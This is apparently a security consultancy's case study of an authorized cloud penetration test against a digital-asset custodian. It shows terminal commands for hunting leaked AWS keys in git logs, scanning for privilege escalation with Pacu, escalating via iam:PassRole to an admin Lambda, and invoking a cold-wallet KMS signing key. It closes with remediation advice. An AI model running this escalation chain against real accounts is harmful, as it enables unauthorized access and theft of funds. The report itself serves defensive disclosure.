Cold Wallet Escrow Breach
A digital-asset custodian asked us to measure the blast radius of one leaked credential. We started with a read-only key scraped from a public CI log. Three IAM hops later we could invoke the KMS key that signs cold-wallet withdrawals — the cryptographic heart of the whole platform.
- Duration
- 4 Weeks
- Team
- 2 Cloud Security Operators
- Scope
- Cloud Security Assessment
- Methodology
- Assumed-Breach Cloud Review / AWS Well-Architected Security Pillar
Attack narrative
Each phase references the MITRE ATT&CK technique used, with captured evidence.
- 01
Initial Access
T1552 — Unsecured Credentials
A long-lived, read-only access key had been printed to a publicly cached CI build log. It still worked.
operator@proteqon: cred-hunt# Recovered from a public CI artifact cache$ git log -p | grep -iE "AKIA|aws_secret"+ AWS_ACCESS_KEY_ID=AKIA************REDACTED+ AWS_SECRET_ACCESS_KEY=************************REDACTED$ aws sts get-caller-identity"Arn": "arn:aws:iam::4815xxxx:user/ci-readonly"[+] Credential is live - read-only foothold established$ - 02
Discovery
T1580 — Cloud Infrastructure Discovery
Read-only is enough to map the entire IAM graph. We enumerated roles, policies, and trust relationships and let an automated scanner flag escalation paths.
operator@proteqon: pacu$ pacu > run iam__enum_permissions[*] Enumerated 71 managed + 14 inline policies$ pacu > run iam__privesc_scan[!] iam:PassRole + lambda:CreateFunction -> PRIVILEGE ESCALATIONtarget role: lambda-admin-exec (AdministratorAccess)$ - 03
Privilege Escalation
T1548 — Abuse Elevation Control Mechanism
We passed a privileged role to a Lambda we created, then invoked it to run code far beyond our starting permissions.
operator@proteqon: passrole-privesc$ aws lambda create-function --function-name pq_privesc \$ --role arn:aws:iam::4815xxxx:role/lambda-admin-exec \$ --runtime python3.12 --handler x.handler --zip-file fileb://p.zip[+] Function created with AdministratorAccess execution role$ aws lambda invoke --function-name pq_privesc out.json[+] Now executing as lambda-admin-exec (effectively admin)$ - 04
Credential Access & Impact (Simulated)
T1657 — Financial Theft
With admin reach we located the customer-managed KMS key designated for cold-wallet signing and proved we could invoke it against a benign canary. No production transaction was signed.
operator@proteqon: kms-reach$ aws kms list-keys --query "Keys[].KeyId" --output text$ aws kms describe-key --key-id 7c9e... --query KeyMetadata.Description"cold-wallet-signing-key (PRODUCTION)"[!] Key policy grants kms:Sign to the assumed role - reachable$ aws kms sign --key-id 7c9e... --message fileb://canary.bin \$ --signing-algorithm ECDSA_SHA_256[+] Signature returned on CANARY payload only - capability proven, no funds moved$
Key vulnerabilities
iam:PassRole Privilege Escalation
An overly broad PassRole policy combined with Lambda creation rights allowed escalation from read-only to a privileged execution role.
Leaked Long-Lived Credentials
A non-rotating IAM access key was exposed in publicly accessible build logs, providing the initial foothold.
Permissive KMS Key Policy
The signing key policy granted sign permissions to roles well beyond the signing service itself.
No MFA / Quorum on Signing Operations
High-value signing required no multi-party approval, letting a single compromised principal act alone.
Remediation
- 01
Eliminate broad iam:PassRole grants and enforce least-privilege, condition-scoped policies.
- 02
Replace long-lived keys with short-lived, federated credentials and enable automated leak scanning.
- 03
Restrict KMS key policies to the signing service principal only and isolate keys in a dedicated account.
- 04
Require hardware-backed MFA and multi-party quorum approval for all signing operations.
Outcome
Hardened IAM policies and segregated critical signing infrastructure.
- Read-Only
- Starting Privilege
- Signing Keys
- Final Privilege
- 3
- Escalation Hops
- Zero
- Production Funds Touched
All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.
Start an engagement
Want this level of rigor on your systems?
Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.